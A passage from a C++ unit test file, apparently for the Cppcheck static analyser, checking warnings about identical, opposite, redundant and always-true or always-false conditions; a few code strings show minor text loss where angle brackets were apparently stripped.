bool b) { if(s.empty() || ((s.size() == 1) && b)) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(x.size() > 42) if(y.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(y.empty()) if(x.size() > 42) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string v[10]) { if(v[0].size() > 42) if(v[1].empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() >= 0) if(s.empty()) {}} \"); // CheckOther says: Unsigned expression 's.size()' can't be negative so it is unnecessary to test it. [unsignedPositive]\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() <= 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() < 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionFollowVar() {\n check(\"struct X {\\n\"\n \" void f() {\\n\"\n \" const int flag = get();\\n\"\n \" if (flag) {\\n\"\n \" bar();\\n\"\n \" if (!get()) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void bar();\\n\"\n \" int get() const;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct CD {\\n\"\n \" bool state;\\n\"\n \" void foo() {\\n\"\n \" const bool flag = this->get();\\n\"\n \" if (flag) {\\n\"\n \" this->bar();\\n\"\n \" if (!this->get()) return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool get() const;\\n\"\n \" void bar();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \"public:\\n\"\n \" bool f() const { return x > 0; }\\n\"\n \" void g();\\n\"\n \" int x = 0;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::g() {\\n\"\n \" bool b = f();\\n\"\n \" x += 1;\\n\"\n \" if (!b && f()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (d != 0) {\\n\"\n \" int i = d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionLambda() {\n check(\"void f() {\\n\" // #13728\n \" for (int i = 0; i < 2;) {\\n\"\n \" auto inc = [&]() {\\n\"\n \" if (i >= 2)\\n\"\n \" throw 0;\\n\"\n \" return i++;\\n\"\n \" };\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalInnerCondition() {\n check(\"void f1(int a, int b) { if(a==b) if(a==b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"void f2(int a, int b) { if(a!=b) if(a!=b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n // #6645 false negative: condition is always false\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b) {\\n\"\n \" if(a) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:3:9]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(int a, int b) {\\n\"\n \" if(a == b) { return a == b; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:27]: (warning) Identical inner 'return' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(bool a) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(int* a, int * b) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::shared_ptr a, std::shared_ptr b) {\\n\"\n \" if(a.get()) { return a.get(); }\\n\"\n \" return b.get();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int * x; };\\n\"\n \"int* f(A a, int * b) {\\n\"\n \" if(a.x) { return a.x; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" uint32_t value;\\n\"\n \" get_value(&value);\\n\"\n \" int opt_function_capable = (value >> 28) & 1;\\n\"\n \" if (opt_function_capable) {\\n\"\n \" value = 0;\\n\"\n \" get_value (&value);\\n\"\n \" if ((value >> 28) & 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define TYPE_1 \\\"a\\\"\\n\" // #13202\n \"#define TYPE_2 \\\"b\\\"\\n\"\n \"#define TYPE_3 \\\"c\\\"\\n\"\n \"void f(const std::string& s) {\\n\"\n \" if (s == TYPE_1) {}\\n\"\n \" else if (s == TYPE_2 || s == TYPE_3) {\\n\"\n \" if (s == TYPE_2) {}\\n\"\n \" else if (s == TYPE_3) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalConditionAfterEarlyExit() {\n check(\"void f(int x) {\\n\" // #8137\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x > 100) { return false; }\\n\"\n \" return x > 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Identical condition and return expression 'x>100', return value is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 || y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 && y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (abc) {}\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" while (abc) { y = x; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n ASSERT_THROW_INTERNAL(check(\"void f(int x) {\\n\" // #8217 - crash for incomplete code\n \" if (x > 100) { return; }\\n\"\n \" X(do);\\n\"\n \" if (x > 100) {}\\n\"\n \"}\"),\n SYNTAX);\n\n check(\"void f(const int *i) {\\n\"\n \" if (!i) return;\\n\"\n \" if (!num1tok) { *num1 = *num2; }\\n\"\n \" if (!i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:4:7]: (warning) Identical condition '!i', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void C::f(Tree &coreTree) {\\n\" // daca\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C { void f(const Tree &coreTree); };\\n\"\n \"void C::f(const Tree &coreTree) {\\n\"\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6] -> [test.cpp:6:6]: (warning) Identical condition '!coreTree.build()', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // daca: labplot\n \" switch(type) {\\n\"\n \" case 1:\\n\"\n \" if (x == 0) return 1;\\n\"\n \" else return 2;\\n\"\n \" case 2:\\n\"\n \" if (x == 0) return 3;\\n\"\n \" else return 4;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static int failed = 0;\\n\"\n \"void f() {\\n\"\n \" if (failed) return;\\n\"\n \" checkBuffer();\\n\"\n \" if (failed) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca icu\n check(\"void f(const uint32_t *section, int32_t start) {\\n\"\n \" if(10<=section[start]) { return; }\\n\"\n \" if(++start<100 && 10<=section[start]) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca iqtree\n check(\"void readNCBITree(std::istream &in) {\\n\"\n \" char ch;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') return;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8924\n check(\"struct A {\\n\"\n \" void f() {\\n\"\n \" if (this->FileIndex >= 0) return;\\n\"\n \" this->FileIndex = 1 ;\\n\"\n \" if (this->FileIndex < 0) return;\\n\"\n \" }\\n\"\n \" int FileIndex;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:29]: (style) Condition 'this->FileIndex<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8858 - #if\n check(\"short Do() {\\n\"\n \" short ret = bar1();\\n\"\n \" if ( ret )\\n\"\n \" return ret;\\n\"\n \"#ifdef FEATURE\\n\"\n \" ret = bar2();\\n\"\n \"#endif\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10456\n check(\"int f() {\\n\"\n \" int i = 0;\\n\"\n \" auto f = [&](bool b) { if (b) ++i; };\\n\"\n \" if (i) return i;\\n\"\n \" f(true);\\n\"\n \" if (i) return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11478\n check(\"struct S {\\n\"\n \" void run();\\n\"\n \" bool b = false;\\n\"\n \" const std::function f;\\n\"\n \"};\\n\"\n \"void S::run() {\\n\"\n \" while (true) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" f(*this);\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void innerConditionModified() {\n check(\"void f(int x, int y) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * x, int * y) {\\n\"\n \" if (x[*y] == 0) {\\n\"\n \" (*y)++;\\n\"\n \" if (x[*y] == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // clarify conditions with = and comparison\n void clarifyCondition1() {\n check(\"void f() {\\n\"\n \" if (x = b() < 0) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (assignment + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" for (i = 0; i < 10; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" x = a(); if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x = b < 0 ? 1 : 2) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || (!y && z));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || !y && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!a || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant condition: a. '!a || (a && b)' is equivalent to '!a || b' [redundantCondition]\\n\", errout_str());\n\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Redundant condition: tok->next()->function(). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok2->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next(1)->function(1) ||\\n\"\n \" (tok->next(1)->function(1) && tok->next(1)->function(1)->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (style) Redundant condition: tok->next(1)->function(1). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function(1) ||\\n\"\n \" (tok->next()->function(2) && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y==0 || y!=0 && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Redundant condition: y!=0. 'y==0 || (y!=0 && z)' is equivalent to 'y==0 || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x>0 || (x<0 && y)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test Token::expressionString, TODO move this test\n check(\"void f() {\\n\"\n \" if (!dead || (dead && (*it).ticks > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Redundant condition: dead. '!dead || (dead && (*it).ticks>0)' is equivalent to '!dead || (*it).ticks>0' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!x || (x && (2>(y-1)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Redundant condition: x. '!x || (x && 2>(y-1))' is equivalent to '!x || 2>(y-1)' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a || (a && b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a || (a && b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && (a || b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a && (a || b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n }\n\n // clarify conditions with bitwise operator and comparison\n void clarifyCondition2() {\n check(\"void f() {\\n\"\n \" if (x & 3 == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Condition 'x&3==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a & fred1.x == fred2.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n , errout_str());\n }\n\n // clarify condition that uses ! operator and then bitwise operator\n void clarifyCondition3() {\n check(\"void f(int w) {\\n\"\n \" if(!w & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int w) {\\n\"\n \" if((!w) & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x == foo() & 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & x == foo()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & (x == foo())) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list &ints) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { A a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a(x there are never templates\n ASSERT_EQUALS(\"[test.c:1:17]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"class A;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (result != (char *)&inline_result) { }\\n\" // don't simplify and verify cast\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8495\n check(\"void f(bool a, bool b) {\\n\"\n \" C & a & b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition4() { // ticket #3110\n check(\"typedef double SomeType;\\n\"\n \"typedef std::pair PairType;\\n\"\n \"struct S\\n\"\n \"{\\n\"\n \" bool operator()\\n\"\n \" ( PairType const & left\\n\"\n \" , PairType const & right) const\\n\"\n \" {\\n\"\n \" return left.first < right.first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition5() { // ticket #3609 (using | in template instantiation)\n check(\"template struct CWinTraits;\\n\"\n \"CWinTraits::GetWndStyle(0);\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition6() {\n check(\"template\\n\"\n \"SharedPtr& operator=( SharedPtr const & r ) {\\n\"\n \" px = r.px;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition7() {\n // Ensure that binary and unary &, and & in declarations are distinguished properly\n check(\"void f(bool error) {\\n\"\n \" bool & withoutSideEffects=found.first->second;\\n\" // Declaring a reference to a boolean; & is no operator at all\n \" execute(secondExpression, &programMemory, &result, &error);\\n\" // Unary &\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition8() {\n // don't warn when boolean result comes from function call, array index, etc\n // the operator precedence is not unknown then\n check(\"bool a();\\n\"\n \"bool f(bool b) {\\n\"\n \" return (a() & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool *a, bool b) {\\n\"\n \" return (a[10] & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (a.a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (A::a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5895() {\n check(\"void png_parse(uint64_t init, int buf_size) {\\n\"\n \" if (init == 0x89504e470d0a1a0a || init == 0x8a4d4e470d0a1a0a)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5309() {\n check(\"extern uint64_t value;\\n\"\n \"void foo() {\\n\"\n \" if( ( value >= 0x7ff0000000000001ULL )\\n\"\n \" && ( value <= 0x7fffffffffffffffULL ) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrue() {\n\n check(\"void f(const struct S *s) {\\n\" //#8196\n \" int x1 = s->x;\\n\"\n \" int x2 = s->x;\\n\"\n \" if (x1 == 10 && x2 == 10) {}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'x2==10' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f ()\\n\"// #8220\n \"{\\n\"\n \" int a;\\n\"\n \" int b = 0;\\n\"\n \" int ret;\\n\"\n \" \\n\"\n \" a = rand();\\n\"\n \" while (((0 < a) && (a < 2)) && ((8 < a) && (a < 10))) \\n\"\n \" {\\n\"\n \" b += a;\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \" ret = b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:27] -> [test.cpp:8:40]: (style) Condition '8 [test.cpp:2:30]: (style) Return value 'x==0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #6898 (Token::expressionString)\n \" int x = 0;\\n\"\n \" A(x++ == 1);\\n\"\n \" A(x++ == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'x++==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:9]: (style) Condition 'x++==2' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"bool foo(int bar) {\\n\"\n \" bool ret = false;\\n\"\n \" if (bar == 1)\\n\"\n \" return ret;\\n\" // <- #9326 - FP condition is always false\n \" if (bar == 2)\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() == 0) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (style) Condition 's.size()==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'buf!=0' is always true [knownConditionTrueFalse]\\n\", errout_str()); // #8924\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( !buf ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!buf' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( !b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int * p = nullptr;\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'buf==p' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf || x ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition 'buf' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * p) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int p[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP when condition comes from macro\n check(\"#define NOT !\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (NOT x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define M x != 0\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (M) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define IF(X) if (X && x())\\n\"\n \"void f() {\\n\"\n \" IF(1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP for sizeof condition\n check(\"void f() {\\n\"\n \" if (sizeof(char) != 123) {}\\n\"\n \" if (123 != sizeof(char)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 123;\\n\"\n \" if (sizeof(char) != x) {}\\n\"\n \" if (x != sizeof(char)) {}\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Condition 'sizeof(char)!=x' is always true\\n\"\n \"[test.cpp:4]: (style) Condition 'x!=sizeof(char)' is always true\\n\", \"\", errout_str());\n\n // Don't warn in assertions. Condition is often 'always true' by intention.\n // If platform,defines,etc cause an 'always false' assertion then that is not very dangerous neither\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" assert(x == 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9363 - do not warn about value passed to function\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" if (bar(!b)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #7783 FP knownConditionTrueFalse on assert(0 && \"message\")\n check(\"void foo(int x) {\\n\"\n \" if (x<0)\\n\"\n \" {\\n\"\n \" assert(0 && \\\"bla\\\");\\n\"\n \" ASSERT(0 && \\\"bla\\\");\\n\"\n \" assert_foo(0 && \\\"bla\\\");\\n\"\n \" ASSERT_FOO(0 && \\\"bla\\\");\\n\"\n \" assert((int)(0==0));\\n\"\n \" assert((int)(0==0) && \\\"bla\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7750 char literals in boolean expressions\n check(\"void f() {\\n\"\n \" if('a'){}\\n\"\n \" if(L'b'){}\\n\"\n \" if(1 && 'c'){}\\n\"\n \" int x = 'd' ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8206 - knownCondition always false\n check(\"void f(int i)\\n\"\n \"{\\n\"\n \" if(i > 4)\\n\"\n \" for( int x = 0; i < 3; ++x){}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:29]: (style) Condition 'i<3' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // Skip literals\n check(\"void f() { if(true) {} }\");\n ASSERT_EQUALS(\"\", 